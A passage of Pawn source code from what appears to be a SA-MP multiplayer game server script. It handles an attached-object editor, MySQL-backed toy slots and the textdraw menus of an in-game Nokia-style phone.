	    if(ToysStudioDT[playerid][tobject] == TOYS_LIST[b][TOY_OB_ID])
		{
			format(string,200,"Model:_%s",TOYS_LIST[b][TOY_NAME]);
            PlayerTextDrawSetString(playerid, TOYS_PTD[playerid][1], string);
		}
	}
	format(string, 200, "Slot:_%i",slotid);
	PlayerTextDrawSetString(playerid, TOYS_PTD[playerid][0], string);
	switch(ToysStudioDT[playerid][obone])
	{

		case -1:{ format(string, sizeof(string), "Bone:_%s", "Select");}
		case 1:{ format(string, sizeof(string), "Bone:_%s", "Spine");}
		case 2:{ format(string, sizeof(string), "Bone:_%s", "Head");}
		case 3:{ format(string, sizeof(string), "Bone:_%s", "Left upper arm");}
		case 4:{ format(string, sizeof(string), "Bone:_%s", "Right upper arm");}
		case 5:{ format(string, sizeof(string), "Bone:_%s", "Left hand");}
		case 6:{ format(string, sizeof(string), "Bone:_%s", "Right hand");}
		case 7:{ format(string, sizeof(string), "Bone:_%s", "Left thigh");}
		case 8:{ format(string, sizeof(string), "Bone:_%s", "Right thigh");}
		case 9:{ format(string, sizeof(string), "Bone:_%s", "Left foot");}
		case 10:{ format(string, sizeof(string), "Bone:_%s", "Right foot");}
		case 11:{ format(string, sizeof(string), "Bone:_%s", "Right calf");}
		case 12:{ format(string, sizeof(string), "Bone:_%s", "Left calf");}
		case 13:{ format(string, sizeof(string), "Bone:_%s", "Left forearm");}
		case 14:{ format(string, sizeof(string), "Bone:_%s", "Right forearm"); }
		case 15:{ format(string, sizeof(string), "Bone:_%s", "Left clavicle (shoulder)");}
		case 16:{ format(string, sizeof(string), "Bone:_%s", "Right clavicle (shoulder)");}
		case 17:{ format(string, sizeof(string), "Bone:_%s", "Neck");}
		case 18:{ format(string, sizeof(string), "Bone:_%s", "Jaw");}
	}
	PlayerTextDrawSetString(playerid, TOYS_PTD[playerid][2], string);
	format(string, 200, "X_OffSet:_%0.1f",ToysStudioDT[playerid][tX]);
	PlayerTextDrawSetString(playerid, TOYS_PTD[playerid][3], string);
	format(string, 200, "Y_OffSet:_%0.1f",ToysStudioDT[playerid][tY]);
	PlayerTextDrawSetString(playerid, TOYS_PTD[playerid][4], string);
	format(string, 200, "Z_OffSet:_%0.1f",ToysStudioDT[playerid][tZ]);
	PlayerTextDrawSetString(playerid, TOYS_PTD[playerid][5], string);
	//rot
	format(string, 200, "X_Rotation:_%0.1f",ToysStudioDT[playerid][trX]);
	PlayerTextDrawSetString(playerid, TOYS_PTD[playerid][6], string);
	format(string, 200, "Y_Rotation:_%0.1f",ToysStudioDT[playerid][trY]);
	PlayerTextDrawSetString(playerid, TOYS_PTD[playerid][7], string);
	format(string, 200, "Z_Rotation:_%0.1f",ToysStudioDT[playerid][trZ]);
	PlayerTextDrawSetString(playerid, TOYS_PTD[playerid][8], string);
	//scale
	format(string, 200, "X_Scale:_%0.1f",ToysStudioDT[playerid][tsX]);
	PlayerTextDrawSetString(playerid, TOYS_PTD[playerid][9], string);
	format(string, 200, "Y_Scale:_%0.1f",ToysStudioDT[playerid][tsY]);
	PlayerTextDrawSetString(playerid, TOYS_PTD[playerid][10], string);
	format(string, 200, "Z_Scale:_%0.1f",ToysStudioDT[playerid][tsZ]);
	PlayerTextDrawSetString(playerid, TOYS_PTD[playerid][11], string);
}
public FixToysStudioTemp(playerid, slot)
{
    ToysStudioDT[playerid][tobject] = PlayerObjectsInfo[playerid][slot][ao_model];
    ToysStudioDT[playerid][obone] = PlayerObjectsInfo[playerid][slot][ao_bone];
    ToysStudioDT[playerid][tX] = PlayerObjectsInfo[playerid][slot][ao_x];
    ToysStudioDT[playerid][tY] = PlayerObjectsInfo[playerid][slot][ao_y];
    ToysStudioDT[playerid][tZ] = PlayerObjectsInfo[playerid][slot][ao_z];
    ToysStudioDT[playerid][trX] = PlayerObjectsInfo[playerid][slot][ao_rx];
    ToysStudioDT[playerid][trY] = PlayerObjectsInfo[playerid][slot][ao_ry];
    ToysStudioDT[playerid][trZ] = PlayerObjectsInfo[playerid][slot][ao_rz];
    ToysStudioDT[playerid][tsX] = PlayerObjectsInfo[playerid][slot][ao_sx];
    ToysStudioDT[playerid][tsY] = PlayerObjectsInfo[playerid][slot][ao_sy];
    ToysStudioDT[playerid][tsZ] = PlayerObjectsInfo[playerid][slot][ao_sz];
    ToysStudioDT[playerid][colorx1] = PlayerObjectsInfo[playerid][slot][colorx1];
    ToysStudioDT[playerid][colorx2] = PlayerObjectsInfo[playerid][slot][colorx2];
}
public UpdateEditingToy(playerid, toyid)
{
	new oid = PlayerObjectsInfo[playerid][toyid][ao_slot];
    if(IsPlayerAttachedObjectSlotUsed(playerid, oid)) RemovePlayerAttachedObject(playerid, oid);
    SetPlayerAttachedObject( playerid, oid, ToysStudioDT[playerid][tobject], ToysStudioDT[playerid][obone], ToysStudioDT[playerid][tX], ToysStudioDT[playerid][tY], ToysStudioDT[playerid][tZ]
			, ToysStudioDT[playerid][trX], ToysStudioDT[playerid][trY], ToysStudioDT[playerid][trZ], ToysStudioDT[playerid][tsX], ToysStudioDT[playerid][tsY], ToysStudioDT[playerid][tsZ],ToysStudioDT[playerid][colorx1],ToysStudioDT[playerid][colorx2]);
}
public GetFelanomeFelanType(type, felanom)
{
	new felanchandim = -1;
	for(new i = 0; i < sizeof(TOYS_LIST); i++)
	{
	    if(TOYS_LIST[i][TOY_OB_TYPE] == type)
	    {
	        felanchandim ++;
	        if(felanchandim == felanom) return i;
	    }
	}
	return 9999;
}
public GetSizeFelanType(type)
{
	new count = 0;
	for(new i = 0; i < sizeof(TOYS_LIST); i++)
	{
	    if(TOYS_LIST[i][TOY_OB_TYPE] == type)
	    {
	        count ++;
	    }
	}
	return count;
}
public GetLastPageOfType(type)
{
	new size = GetSizeFelanType(type);
	new page = size / 6;
	return page;
}
public ShowFelanPageAzFelanType(playerid, type, page)
{
	new str[10];
    new Places[6];
	Places[0] =  GetFelanomeFelanType(type, page * 6);
	Places[1] =  GetFelanomeFelanType(type, (page * 6) + 1);
    Places[2] =  GetFelanomeFelanType(type, (page * 6) + 2);
    Places[3] =  GetFelanomeFelanType(type, (page * 6) + 3);
    Places[4] =  GetFelanomeFelanType(type, (page * 6) + 4);
    Places[5] =  GetFelanomeFelanType(type, (page * 6) + 5);
    for(new c = 0; c < 6; c++)
    {
        PlayerTextDrawSetPreviewModel(playerid, SELECTER[playerid][c], TOYS_LIST[Places[c]][TOY_OB_ID]);
        PlayerTextDrawShow(playerid, SELECTER[playerid][c]);
        PlayerTextDrawSetString(playerid, SELECTER[playerid][c + 6], TOYS_LIST[Places[c]][TOY_NAME]);
        PlayerTextDrawShow(playerid, SELECTER[playerid][c + 6]);
        PlayerToyObjectShowed[playerid][c] = TOYS_LIST[Places[c]][TOY_OB_ID];
    }
    for(new i = 0; i < sizeof(OBJTTT); i++)TextDrawShowForPlayer(playerid, OBJTTT[i]);
    if(GetLastPageOfType(type) == 1)TextDrawHideForPlayer(playerid, OBJTTT[9]);
    if(page == 0)TextDrawHideForPlayer(playerid, OBJTTT[8]);
    format(str, sizeof(str), "Page_%i", page);
    TextDrawSetString(OBJTTT[7], str);
    ToysStudioDT[playerid][WhoPage] = page;
    ToysStudioDT[playerid][Enable] = 2;
    ToysStudioDT[playerid][WhoType] = type;
}
forward ResetPlayerToys(playerid);
public ResetPlayerToys(playerid)
{
	ToysTdCreated[playerid] = 0;
	for(new i = 0; i < 20; i++) PlayerObjectsInfo[playerid][i][ao_slot] = -1;
	CameraPoint[playerid]=2;
	ToysStudioDT[playerid][Enable] = 0;
	ToysStudioDT[playerid][LastSelect] = 9999;
	ToysStudioDT[playerid][WhoPage] = 0;
    LastMokhtasatDialog[playerid] = 0;
    return true;
}
stock strtoupper(string[])
{
  new str[8];
  for(new i=strlen(string);i!=-1;--i)
  {
    str[i]=toupper(string[i]);
  }
  return str;
}
function ToysCheck(playerid)
{
	if(cache_num_rows()!=0)
 	{
 		for(new i; i < MAX_PLAYER_TOYS_SLOT; i++)
		{
		    PlayerObjectsInfo[playerid][i][ao_model] = cache_get_field_content_int(i,"ao_model");
		    PlayerObjectsInfo[playerid][i][ao_bone] = cache_get_field_content_int(i,"ao_bone");
		    PlayerObjectsInfo[playerid][i][ao_enable] = cache_get_field_content_int(i,"ao_enable");
		    PlayerObjectsInfo[playerid][i][ao_x] = cache_get_field_content_float(i,"ao_x");
		    PlayerObjectsInfo[playerid][i][ao_y] = cache_get_field_content_float(i,"ao_y");
		    PlayerObjectsInfo[playerid][i][ao_z] = cache_get_field_content_float(i,"ao_z");
		    PlayerObjectsInfo[playerid][i][ao_rx] = cache_get_field_content_float(i,"ao_rx");
		    PlayerObjectsInfo[playerid][i][ao_ry] = cache_get_field_content_float(i,"ao_ry");
		    PlayerObjectsInfo[playerid][i][ao_rz] = cache_get_field_content_float(i,"ao_rz");
		    PlayerObjectsInfo[playerid][i][ao_sx] = cache_get_field_content_float(i,"ao_sx");
		    PlayerObjectsInfo[playerid][i][ao_sy] = cache_get_field_content_float(i,"ao_sy");
		    PlayerObjectsInfo[playerid][i][ao_sz] = cache_get_field_content_float(i,"ao_sz");
		    PlayerObjectsInfo[playerid][i][colorx1] = cache_get_field_content_int(i,"ao_color1");
		    PlayerObjectsInfo[playerid][i][colorx2] = cache_get_field_content_int(i,"ao_color2");
		}
 	}
	else
	{
		new query[80];
		for(new i; i < MAX_PLAYER_TOYS_SLOT; i++)
		{
			mysql_format(handle, query, sizeof(query), "INSERT INTO `toys` (`Owner`,`tSlot`) Value ('%e','%d')",PlayerInfo[playerid][pName],i);
			mysql_tquery(handle, query);
			PlayerObjectsInfo[playerid][i][ao_model] = -1;
			PlayerObjectsInfo[playerid][i][ao_bone] = -1;
			PlayerObjectsInfo[playerid][i][ao_enable] = 0;
			PlayerObjectsInfo[playerid][i][ao_x] = 0.0;
			PlayerObjectsInfo[playerid][i][ao_y] = 0.0;
			PlayerObjectsInfo[playerid][i][ao_z] = 0.0;
			PlayerObjectsInfo[playerid][i][ao_rx] = 0.0;
			PlayerObjectsInfo[playerid][i][ao_ry] = 0.0;
			PlayerObjectsInfo[playerid][i][ao_rz] = 0.0;
			PlayerObjectsInfo[playerid][i][ao_sx] = 1.0;
			PlayerObjectsInfo[playerid][i][ao_sy] = 1.0;
			PlayerObjectsInfo[playerid][i][ao_sz] = 1.0;
			PlayerObjectsInfo[playerid][i][colorx1] = 0xFFFFFFFF;
			PlayerObjectsInfo[playerid][i][colorx2] = 0xFFFFFFFF;
		}
		ToysSave(playerid);
	}
	return 1;
}
	forward UpdateSetting(playerid);
	public UpdateSetting(playerid)
	{
		//hitman covername
		if(covername[playerid]==0&&FactionID(playerid)==8)TextDrawSetString(NokiaPtds[playerid][9],"[Hit] Covername []");// []
		if(covername[playerid]==1&&FactionID(playerid)==8)TextDrawSetString(NokiaPtds[playerid][9],"[Hit] Covername [x]");// [x]
		//phone silent
		if(silent[playerid]==0)TextDrawSetString(NokiaPtds[playerid][8],"Silent__________[]");// []
		if(silent[playerid]==1)TextDrawSetString(NokiaPtds[playerid][8],"Silent__________[x]");// [x]
		//airplane mode !
		if(airplane[playerid]==0)TextDrawSetString(NokiaPtds[playerid][10],"airplane mode__[]");// []
		if(airplane[playerid]==1)TextDrawSetString(NokiaPtds[playerid][10],"airplane mode__[x]");// [x]

		for(new i = 0; i < MAX_PLAYERS; i++)
		{
			if(IsPlayerConnected(i))
			{
			if(FactionID(playerid)==8)
			{
				if(covername[playerid]==0)
				{
					ShowPlayerNameTagForPlayer(i, playerid, true);
				}
				else
				{
					ShowPlayerNameTagForPlayer(i, playerid, false);
				}
			}
			}
		}
	}
	forward CreatPNokiaTds();
	public CreatPNokiaTds()
	{
		for(new i;i<25;i++)
		{
			NokiaPtds[i][0] = TextDrawCreate(551.250000, 218.166549, "SMS to:_");
			TextDrawLetterSize(NokiaPtds[i][0], 0.204999, 0.917499);
			TextDrawTextSize(NokiaPtds[i][0], 9.375000, 74.083335);
			TextDrawAlignment(NokiaPtds[i][0], 2);
			TextDrawColor(NokiaPtds[i][0], 255);
			TextDrawSetShadow(NokiaPtds[i][0], 0);
			TextDrawSetOutline(NokiaPtds[i][0], 0);
			TextDrawBackgroundColor(NokiaPtds[i][0], 51);
			TextDrawFont(NokiaPtds[i][0], 1);
			TextDrawSetProportional(NokiaPtds[i][0], 1);
			TextDrawSetSelectable(NokiaPtds[i][0], true);

			NokiaPtds[i][1] = TextDrawCreate(515.000000, 237.416717, "Write your message here.");
			TextDrawLetterSize(NokiaPtds[i][1], 0.211249, 0.864999);
			TextDrawTextSize(NokiaPtds[i][1], 594.375000, 12.833333);
			TextDrawAlignment(NokiaPtds[i][1], 1);
			TextDrawColor(NokiaPtds[i][1], -65281);
			TextDrawUseBox(NokiaPtds[i][1], true);
			TextDrawBoxColor(NokiaPtds[i][1], 255);
			TextDrawSetShadow(NokiaPtds[i][1], 0);
			TextDrawSetOutline(NokiaPtds[i][1], 0);
			TextDrawBackgroundColor(NokiaPtds[i][1], 51);
			TextDrawFont(NokiaPtds[i][1], 1);
			TextDrawSetProportional(NokiaPtds[i][1], 1);
			TextDrawSetSelectable(NokiaPtds[i][1], true);

			NokiaPtds[i][2] = TextDrawCreate(554.375000, 227.500000, "_");//1234567
			TextDrawLetterSize(NokiaPtds[i][2], 0.326249, 1.191666);
			TextDrawAlignment(NokiaPtds[i][2], 2);
			TextDrawColor(NokiaPtds[i][2], 255);
			TextDrawSetShadow(NokiaPtds[i][2], 0);
			TextDrawSetOutline(NokiaPtds[i][2], 0);
			TextDrawBackgroundColor(NokiaPtds[i][2], 51);
			TextDrawFont(NokiaPtds[i][2], 1);
			TextDrawSetProportional(NokiaPtds[i][2], 1);

			NokiaPtds[i][3] = TextDrawCreate(555.625000, 245.000106, "Sina");
			TextDrawLetterSize(NokiaPtds[i][3], 0.240624, 0.958333);
			TextDrawAlignment(NokiaPtds[i][3], 2);
			TextDrawColor(NokiaPtds[i][3], -1);
			TextDrawSetShadow(NokiaPtds[i][3], 0);
			TextDrawSetOutline(NokiaPtds[i][3], 0);
			TextDrawBackgroundColor(NokiaPtds[i][3], 51);
			TextDrawFont(NokiaPtds[i][3], 1);
			TextDrawSetProportional(NokiaPtds[i][3], 1);

			NokiaPtds[i][4] = TextDrawCreate(553.750000, 275.333282, "Sina");
			TextDrawLetterSize(NokiaPtds[i][4], 0.240624, 0.812500);
			TextDrawAlignment(NokiaPtds[i][4], 2);
			TextDrawColor(NokiaPtds[i][4], -1);
			TextDrawSetShadow(NokiaPtds[i][4], 0);
			TextDrawSetOutline(NokiaPtds[i][4], 0);
			TextDrawBackgroundColor(NokiaPtds[i][4], 51);
			TextDrawFont(NokiaPtds[i][4], 1);
			TextDrawSetProportional(NokiaPtds[i][4], 1);

			NokiaPtds[i][5] = TextDrawCreate(523.125000, 221.083374, "LD_SPAC:white");
			TextDrawLetterSize(NokiaPtds[i][5], -0.071874, 0.029165);
			TextDrawTextSize(NokiaPtds[i][5], 61.875000, 43.166625);
			TextDrawAlignment(NokiaPtds[i][5], 1);
			TextDrawColor(NokiaPtds[i][5], -1);
			TextDrawUseBox(NokiaPtds[i][5], true);
			TextDrawBoxColor(NokiaPtds[i][5], 255);
			TextDrawSetShadow(NokiaPtds[i][5], 0);
			TextDrawSetOutline(NokiaPtds[i][5], 0);
			TextDrawFont(NokiaPtds[i][5], 5);
			TextDrawSetPreviewModel(NokiaPtds[i][5], 217);
			TextDrawSetPreviewRot(NokiaPtds[i][5], 0.000000, 0.000000, 0.000000, 1.000000);

			NokiaPtds[i][6] = TextDrawCreate(513.125000, 222.833404, "SMS From: Sina~n~7777777");
			TextDrawLetterSize(NokiaPtds[i][6], 0.167498, 1.034165);
			TextDrawTextSize(NokiaPtds[i][6], 596.875000, 8.750000);
			TextDrawAlignment(NokiaPtds[i][6], 1);
			TextDrawColor(NokiaPtds[i][6], -65281);
			TextDrawUseBox(NokiaPtds[i][6], true);
			TextDrawBoxColor(NokiaPtds[i][6], 99);
			TextDrawSetShadow(NokiaPtds[i][6], 0);
			TextDrawSetOutline(NokiaPtds[i][6], 0);
			TextDrawBackgroundColor(NokiaPtds[i][6], 51);
			TextDrawFont(NokiaPtds[i][6], 2);
			TextDrawSetProportional(NokiaPtds[i][6], 1);

			NokiaPtds[i][7] = TextDrawCreate(513.125000, 260.166656, "New Textdraw");
			TextDrawLetterSize(NokiaPtds[i][7], 0.168749, 0.870831);
			TextDrawTextSize(NokiaPtds[i][7], 597.500000, 9.916666);
			TextDrawAlignment(NokiaPtds[i][7], 1);
			TextDrawColor(NokiaPtds[i][7], -1);
			TextDrawUseBox(NokiaPtds[i][7], true);
			TextDrawBoxColor(NokiaPtds[i][7], 65308);
			TextDrawSetShadow(NokiaPtds[i][7], 0);
			TextDrawSetOutline(NokiaPtds[i][7], 0);
			TextDrawBackgroundColor(NokiaPtds[i][7], 51);
			TextDrawFont(NokiaPtds[i][7], 2);
			TextDrawSetProportional(NokiaPtds[i][7], 1);

			NokiaPtds[i][8] = TextDrawCreate(554.500000, 263.083435, "Silent__________[]");
			TextDrawLetterSize(NokiaPtds[i][8], 0.198124, 1.074998);
			TextDrawTextSize(NokiaPtds[i][8], 10.000000, 67.666610);
			TextDrawAlignment(NokiaPtds[i][8], 2);
			TextDrawColor(NokiaPtds[i][8], 255);
			TextDrawUseBox(NokiaPtds[i][8], true);
			TextDrawBoxColor(NokiaPtds[i][8], 8388863);
			TextDrawSetShadow(NokiaPtds[i][8], 0);
			TextDrawSetOutline(NokiaPtds[i][8], 0);
			TextDrawBackgroundColor(NokiaPtds[i][8], 51);
			TextDrawFont(NokiaPtds[i][8], 1);
			TextDrawSetProportional(NokiaPtds[i][8], 1);
			TextDrawSetSelectable(NokiaPtds[i][8], true);

			NokiaPtds[i][9] = TextDrawCreate(554.875000, 282.750305, "[hit]Covername []");
			TextDrawLetterSize(NokiaPtds[i][9], 0.174374, 1.080832);
			TextDrawTextSize(NokiaPtds[i][9], 10.000000, 67.666610);
			TextDrawAlignment(NokiaPtds[i][9], 2);
			TextDrawColor(NokiaPtds[i][9], 255);
			TextDrawUseBox(NokiaPtds[i][9], true);
			TextDrawBoxColor(NokiaPtds[i][9], 8388863);
			TextDrawSetShadow(NokiaPtds[i][9], 0);
			TextDrawSetOutline(NokiaPtds[i][9], 0);
			TextDrawBackgroundColor(NokiaPtds[i][9], 51);
			TextDrawFont(NokiaPtds[i][9], 1);
			TextDrawSetProportional(NokiaPtds[i][9], 1);
			TextDrawSetSelectable(NokiaPtds[i][9], true);

			NokiaPtds[i][10] = TextDrawCreate(553.500000, 244.583404, "airplane mode__[]");
			TextDrawLetterSize(NokiaPtds[i][10], 0.198124, 1.074998);
			TextDrawTextSize(NokiaPtds[i][10], 10.000000, 67.666610);
			TextDrawAlignment(NokiaPtds[i][10], 2);
			TextDrawColor(NokiaPtds[i][10], 255);
			TextDrawUseBox(NokiaPtds[i][10], true);
			TextDrawBoxColor(NokiaPtds[i][10], 8388863);
			TextDrawSetShadow(NokiaPtds[i][10], 0);
			TextDrawSetOutline(NokiaPtds[i][10], 0);
			TextDrawBackgroundColor(NokiaPtds[i][10], 51);
			TextDrawFont(NokiaPtds[i][10], 1);
			TextDrawSetProportional(NokiaPtds[i][10], 1);
			TextDrawSetSelectable(NokiaPtds[i][10], true);
		}
	}
	forward FixKonTimeRe();
	public FixKonTimeRe()
	{
		new string[128],Get[6];
		gettime(Get[3],Get[4],Get[5]);
		getdate(Get[0],Get[1],Get[2]);
		format( string , 128 , "%02d:%02d", Get[3] , Get[4]);
		TextDrawSetString(PhoneTest[10],string);
		format( string , 128 , "%02d/%02d/%02d", Get[2], Get[1], Get[0]);

		TextDrawSetString(PhoneTest[75],string);

	}
	forward RestNokiaPDT(playerid);
	public RestNokiaPDT(playerid)
	{
	    strdel(PlayersPhones[playerid][LastNumberUse],0,7);
	    TextDrawSetString(NokiaPtds[playerid][2],PlayersPhones[playerid][LastNumberUse]);
	    TextDrawSetString(NokiaPtds[playerid][0],"SMS to:_");
		TextDrawSetString(NokiaPtds[playerid][1],"Write your message here.");
		TextDrawSetString(NokiaPtds[playerid][3],"_");
		TextDrawSetString(NokiaPtds[playerid][4],"_");

		TextDrawSetString(NokiaPtds[playerid][6],"SMS From:_");
		TextDrawSetString(NokiaPtds[playerid][7],"__");
	}
	forward ShowNokiaMenu(playerid,menuid);
	public ShowNokiaMenu(playerid,menuid)
	{
		for(new b ; b < MaxNoKiaGlobalTD ; b++ ){TextDrawHideForPlayer(playerid, PhoneTest[b]);}//global textdraws
		for(new b ; b < MaxNoKiaPlayerTD ; b++ ){TextDrawHideForPlayer(playerid, NokiaPtds[playerid][b]);}//player textdraws
		switch(menuid)
		{
		    case 1://inja menu'e aval ro neshon mide(desktop)
		    {
		        TextDrawShowForPlayer(playerid, PhoneTest[0]);

			    TextDrawShowForPlayer(playerid, PhoneTest[1]);
			    TextDrawShowForPlayer(playerid, PhoneTest[2]);
			    TextDrawShowForPlayer(playerid, PhoneTest[3]);
			    TextDrawShowForPlayer(playerid, PhoneTest[4]);
			    TextDrawShowForPlayer(playerid, PhoneTest[5]);
			    TextDrawShowForPlayer(playerid, PhoneTest[6]);
			    TextDrawShowForPlayer(playerid, PhoneTest[7]);
			    TextDrawShowForPlayer(playerid, PhoneTest[8]);
			    TextDrawShowForPlayer(playerid, PhoneTest[9]);
			    TextDrawShowForPlayer(playerid, PhoneTest[10]);
			    TextDrawShowForPlayer(playerid, PhoneTest[75]);

		    }
		    case 15://inja menu'e aval ro neshon mide(desktop)
		    {
				TextDrawShowForPlayer(playerid, PhoneTest[0]);

				TextDrawShowForPlayer(playerid, PhoneTest[35]);
				TextDrawShowForPlayer(playerid, PhoneTest[2]);
				TextDrawShowForPlayer(playerid, PhoneTest[3]);
				TextDrawShowForPlayer(playerid, PhoneTest[4]);
		    }
		    case 2://inja send sms load mishe
		    {
		        TextDrawShowForPlayer(playerid, PhoneTest[0]);

		        TextDrawShowForPlayer(playerid, PhoneTest[2]);
		        TextDrawShowForPlayer(playerid, PhoneTest[3]);
		        TextDrawShowForPlayer(playerid, PhoneTest[4]);
		        TextDrawShowForPlayer(playerid, PhoneTest[11]);
		        TextDrawShowForPlayer(playerid, PhoneTest[12]);
		        TextDrawShowForPlayer(playerid, NokiaPtds[playerid][0]);
		        TextDrawShowForPlayer(playerid, NokiaPtds[playerid][1]);
		    }
		    case 3://inja call dialer load mishe
		    {
		        TextDrawShowForPlayer(playerid, PhoneTest[0]);

		        TextDrawShowForPlayer(playerid, PhoneTest[2]);
		        TextDrawShowForPlayer(playerid, PhoneTest[3]);
		        TextDrawShowForPlayer(playerid, PhoneTest[4]);
		        TextDrawShowForPlayer(playerid, NokiaPtds[playerid][2]);
		        TextDrawShowForPlayer(playerid, PhoneTest[27]);
		        TextDrawShowForPlayer(playerid, PhoneTest[12]);
		        TextDrawShowForPlayer(playerid, PhoneTest[13]);
		        TextDrawShowForPlayer(playerid, PhoneTest[14]);
		        TextDrawShowForPlayer(playerid, PhoneTest[15]);
		        TextDrawShowForPlayer(playerid, PhoneTest[16]);
		        TextDrawShowForPlayer(playerid, PhoneTest[17]);
		        TextDrawShowForPlayer(playerid, PhoneTest[18]);
		        TextDrawShowForPlayer(playerid, PhoneTest[19]);
		        TextDrawShowForPlayer(playerid, PhoneTest[20]);
		        TextDrawShowForPlayer(playerid, PhoneTest[21]);
		        TextDrawShowForPlayer(playerid, PhoneTest[22]);
		        TextDrawShowForPlayer(playerid, PhoneTest[23]);
		        TextDrawShowForPlayer(playerid, PhoneTest[24]);
		        TextDrawShowForPlayer(playerid, PhoneTest[25]);
		        TextDrawShowForPlayer(playerid, PhoneTest[26]);

		    }
		    case 4://
		    {
		        TextDrawShowForPlayer(playerid, PhoneTest[0]);

		        TextDrawShowForPlayer(playerid, PhoneTest[1]);
		        TextDrawShowForPlayer(playerid, PhoneTest[2]);
		        TextDrawShowForPlayer(playerid, PhoneTest[3]);
		        TextDrawShowForPlayer(playerid, PhoneTest[4]);
		        TextDrawShowForPlayer(playerid, NokiaPtds[playerid][3]);
		        TextDrawShowForPlayer(playerid, PhoneTest[28]);
		        TextDrawShowForPlayer(playerid, PhoneTest[29]);
		        TextDrawShowForPlayer(playerid, PhoneTest[30]);

		    }
		    case 5://
		    {
		        TextDrawShowForPlayer(playerid, PhoneTest[0]);

		        TextDrawShowForPlayer(playerid, PhoneTest[1]);
		        TextDrawShowForPlayer(playerid, PhoneTest[2]);
		        TextDrawShowForPlayer(playerid, PhoneTest[3]);
		        TextDrawShowForPlayer(playerid, PhoneTest[4]);
		        TextDrawShowForPlayer(playerid, NokiaPtds[playerid][3]);
		        TextDrawShowForPlayer(playerid, PhoneTest[32]);
		        TextDrawShowForPlayer(playerid, PhoneTest[31]);
		        TextDrawShowForPlayer(playerid, PhoneTest[30]);

		    }
		    case 6://call from
		    {
		        TextDrawShowForPlayer(playerid, PhoneTest[0]);

		        TextDrawShowForPlayer(playerid, PhoneTest[1]);
		        TextDrawShowForPlayer(playerid, PhoneTest[2]);
		        TextDrawShowForPlayer(playerid, PhoneTest[3]);
		        TextDrawShowForPlayer(playerid, PhoneTest[4]);
		        TextDrawShowForPlayer(playerid, NokiaPtds[playerid][4]);
		        TextDrawShowForPlayer(playerid, NokiaPtds[playerid][5]);
		        TextDrawShowForPlayer(playerid, PhoneTest[34]);
		        TextDrawShowForPlayer(playerid, PhoneTest[33]);
		        TextDrawShowForPlayer(playerid, PhoneTest[30]);

		    }
		    case 7://sms from
		    {
		        TextDrawShowForPlayer(playerid, PhoneTest[0]);

		        //TextDrawShowForPlayer(playerid, PhoneTest[1]);
		        TextDrawShowForPlayer(playerid, PhoneTest[2]);
		        TextDrawShowForPlayer(playerid, PhoneTest[3]);
		        TextDrawShowForPlayer(playerid, PhoneTest[4]);
		        TextDrawShowForPlayer(playerid, NokiaPtds[playerid][6]);
		        TextDrawShowForPlayer(playerid, NokiaPtds[playerid][7]);
		        TextDrawShowForPlayer(playerid, PhoneTest[1]);


		    }
      case 8://menu 2
		    {
		        TextDrawShowForPlayer(playerid, PhoneTest[0]);

		        TextDrawShowForPlayer(playerid, PhoneTest[1]);
		        TextDrawShowForPlayer(playerid, PhoneTest[2]);
		        TextDrawShowForPlayer(playerid, PhoneTest[3]);
		        TextDrawShowForPlayer(playerid, PhoneTest[4]);
		        TextDrawShowForPlayer(playerid, PhoneTest[36]);
		        TextDrawShowForPlayer(playerid, PhoneTest[37]);
		        TextDrawShowForPlayer(playerid, PhoneTest[38]);
		        TextDrawShowForPlayer(playerid, PhoneTest[39]);
		        TextDrawShowForPlayer(playerid, PhoneTest[40]);
		        TextDrawShowForPlayer(playerid, PhoneTest[41]);
		        //TextDrawShowForPlayer(playerid, PhoneTest[42]);
		        //TextDrawShowForPlayer(playerid, PhoneTest[43]);
		        TextDrawShowForPlayer(playerid, PhoneTest[44]);
		        TextDrawShowForPlayer(playerid, PhoneTest[45]);
		        TextDrawShowForPlayer(playerid, PhoneTest[46]);
		        TextDrawShowForPlayer(playerid, PhoneTest[47]);
		        //TextDrawShowForPlayer(playerid, PhoneTest[48]);
		        //TextDrawShowForPlayer(playerid, PhoneTest[49]);
		        TextDrawShowForPlayer(playerid, PhoneTest[76]);
		        TextDrawShowForPlayer(playerid, PhoneTest[77]);

		    }
		    case 9://selfie
		    {
		        TextDrawShowForPlayer(playerid, PhoneTest[0]);

		        TextDrawShowForPlayer(playerid, PhoneTest[1]);
		        TextDrawShowForPlayer(playerid, PhoneTest[2]);
		        TextDrawShowForPlayer(playerid, PhoneTest[3]);
		        TextDrawShowForPlayer(playerid, PhoneTest[4]);

	            TextDrawShowForPlayer(playerid, PhoneTest[48]);
	            TextDrawShowForPlayer(playerid, PhoneTest[51]);
	            TextDrawShowForPlayer(playerid, PhoneTest[52]);
	            TextDrawShowForPlayer(playerid, PhoneTest[53]);
	            TextDrawShowForPlayer(playerid, PhoneTest[54]);
	            TextDrawShowForPlayer(playerid, PhoneTest[55]);
	            TextDrawShowForPlayer(playerid, PhoneTest[56]);
	            TextDrawShowForPlayer(playerid, PhoneTest[57]);
	            TextDrawShowForPlayer(playerid, PhoneTest[58]);
	            TextDrawShowForPlayer(playerid, PhoneTest[59]);
	            TextDrawShowForPlayer(playerid, PhoneTest[60]);
	            TextDrawShowForPlayer(playerid, PhoneTest[61]);
	            TextDrawShowForPlayer(playerid, PhoneTest[62]);
	            TextDrawShowForPlayer(playerid, PhoneTest[63]);
	            TextDrawShowForPlayer(playerid, PhoneTest[64]);
	            TextDrawShowForPlayer(playerid, PhoneTest[65]);
	            TextDrawShowForPlayer(playerid, PhoneTest[49]);


		    }
		    case 10://music
		    {
		        TextDrawShowForPlayer(playerid, PhoneTest[0]);

		        TextDrawShowForPlayer(playerid, PhoneTest[1]);
		        TextDrawShowForPlayer(playerid, PhoneTest[2]);
		        TextDrawShowForPlayer(playerid, PhoneTest[3]);
		        TextDrawShowForPlayer(playerid, PhoneTest[4]);

		        TextDrawShowForPlayer(playerid, PhoneTest[66]);
		        TextDrawShowForPlayer(playerid, PhoneTest[67]);
		        TextDrawShowForPlayer(playerid, PhoneTest[68]);
		        TextDrawShowForPlayer(playerid, PhoneTest[69]);
		        TextDrawShowForPlayer(playerid, PhoneTest[70]);
		        TextDrawShowForPlayer(playerid, PhoneTest[71]);
		        TextDrawShowForPlayer(playerid, PhoneTest[72]);
		        TextDrawShowForPlayer(playerid, PhoneTest[73]);

		    }
		    case 11://settings
		    {
		        TextDrawShowForPlayer(playerid, PhoneTest[0]);

		        TextDrawShowForPlayer(playerid, PhoneTest[1]);
		        TextDrawShowForPlayer(playerid, PhoneTest[2]);
		        TextDrawShowForPlayer(playerid, PhoneTest[3]);
